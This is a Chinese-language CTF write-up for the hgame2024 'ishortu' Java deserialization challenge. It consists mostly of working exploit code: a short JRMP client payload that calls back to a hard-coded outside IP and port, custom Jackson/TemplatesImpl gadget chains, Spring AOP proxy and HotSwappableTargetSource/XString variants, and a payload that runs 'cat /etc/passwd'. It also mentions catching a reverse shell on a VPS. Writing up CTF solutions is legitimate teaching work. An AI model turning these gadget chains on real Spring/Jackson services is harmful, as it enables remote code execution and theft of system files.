hgame2024 ishortu

hgame2024 ishortu

ishortu1

image-20240407153339898

长度限制220,随便yso反序列化一个链都是四位数的,所以这里肯定是JRMP绕了,JRMPClient直接用yso的过长,所以手动写一个

public class Test {
    public  static  void  base64encode_exp(Object obj) throws IOException, ClassNotFoundException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        String base64exp = new String(Base64.getEncoder().encode(baos.toByteArray()));
        System.out.println(base64exp);
        System.out.println(base64exp.length());
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        // rmi jdk8u202(jdk8)
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint("8.129.42.140", 5003);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        base64encode_exp(obj);
    }
}

image-20240407160101200

长度220左右(如果依旧太长,需要将自己的ip进行十六进制编码)

然后找反序列化链子,一看spring+jdk8基本上锁定JacksonGetter这条链(最早出现于2022阿里云ctf)

BadAttributeValueExpException#toString/构造方法->POJONode#toString->templateImpl#getObject

参考:https://www.viewofthai.link/2023/08/08/jackson%e5%8e%9f%e7%94%9f%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e8%a7%a6%e5%8f%91getter%e6%96%b9%e6%b3%95%e7%9a%84%e5%88%a9%e7%94%a8%e4%b8%8e%e5%88%86%e6%9e%90/

由于需要用到yso所以二开一下,在payload包下写Jackson链子

payload/JacksonGetter

package ysoserial.payloads;

import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

/*
BadAttributeValueExpException#toString/构造方法->POJONode#toString->templateImpl#getObject
 */
public class JacksonGetter extends PayloadRunner implements ObjectPayload<Object>{

    public Object getObject(String command) throws Exception {

        final Object templates = Gadgets.createTemplatesImpl(command);
        // 删除 jsonNode 的 writeReplace
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            jsonNode.toClass(classLoader, null);
        } catch (Exception e) {
        }

        POJONode node = new POJONode(templates);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Reflections.setFieldValue(val, "val", node);

        return val;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(JacksonGetter.class, args);
    }

}

写好后,本地测试无问题,打包(注意依赖可能需要手动添加)后启动监听

image-20240407154426696

这样说明可以了,就放到vps监听就好(多开一个端口接受反弹shell的命令)

然后发送payload就好

image-20240406183153514

ishortu2

image-20240407161321620

不出网,考虑内存马

这里由于长度的问题,所以也不会选择yso上二开,自己写

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Base64;
import java.util.Random;

public class Test {
    public  static  void  base64encode_exp(Object obj) throws IOException, ClassNotFoundException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        String base64exp = new String(Base64.getEncoder().encode(baos.toByteArray()));
        System.out.println(base64exp);
        System.out.println(base64exp.length());
    }
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
        oos.writeObject(obj);
    }
    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception {

        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
//        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
        constructor.setBody("throw new Exception(new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/passwd\").getInputStream()).next());");
        clazz.addConstructor(constructor);
        byte[][] bytes = new byte[][]{clazz.toBytecode()};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "xx");
        setValue(templates, "_tfactory", new TransformerFactoryImpl());

        // 删除 jsonNode 的 writeReplace
        try {
            ClassPool pool1 = ClassPool.getDefault();
            CtClass jsonNode = pool1.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            jsonNode.toClass(classLoader, null);
        } catch (Exception e) {
        }

        POJONode node = new POJONode(templates);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        setValue(val, "val", node);

        serialize(val);
        base64encode_exp(val);
        unserialize("ser1.bin");

    }
}

为了起到回显的作用,耍了个滑头

image-20240407163724014

通过抛出异常的方式进行回显,不是真正的内存马

试一下内存马吧,超长度了,还得努努力

赛后

学到一个更稳定的链子,

https://xz.aliyun.com/t/12846?time__1311=mqmhq%2BxfrxCWDsD7GY0%3DY4GKG%3D30QYhFs4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F12846#toc-2

Object proxyObj = makeTemplatesImplAopProxy(templates);
//        POJONode node = new POJONode(templates);
        POJONode node = new POJONode(proxyObj);

makeTemplatesImplAopProxy

    public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
        return proxy;
    }

这样可以稳定触发

然后看到一些新的入口

还没调试,但最近看到很多这种MakeMap的做法了(作为入口),学了一下,就是HotSwappableTargetSource & XString,这个spring可用

利用特殊反序列化组件攻击原生反序列化入口 - 先知社区 (aliyun.com)

这个spring可用

        /*
            HotSwappableTargetSource & XString
         */
        HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(node);
        HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(new XString(null));
        HashMap val = makeMap(hotSwappableTargetSource1, hotSwappableTargetSource2);

makeMap函数

    public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setValue(s, "table", tbl);
        return s;
    }

frp流量转发

刚刚学弟过来问怎么打包jar出bug,解决完后意识到其实不用打包也可以打

java -jar xxxx.jar cc1 'calc'

在idea可替换为如下运行class命令

image-20240407212147913

image-20240407212242112

这种可以替换为

image-20240407211253757

后面就直接运行即可,然后代理转发一下就好,挺方便(应付题目可以,实战太危险且不优雅)

reference

官方题解:https://github.com/vidar-team/HGAME2024_Writeup/tree/main

JRMP:ysoserial JRMP相关模块分析(二)- payloads/JRMPClient & exploit/JRMPListener - 先知社区 (aliyun.com)

缩短反序列化payload:终极Java反序列化payload缩小技术-阿里云开发者社区 (aliyun.com)

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇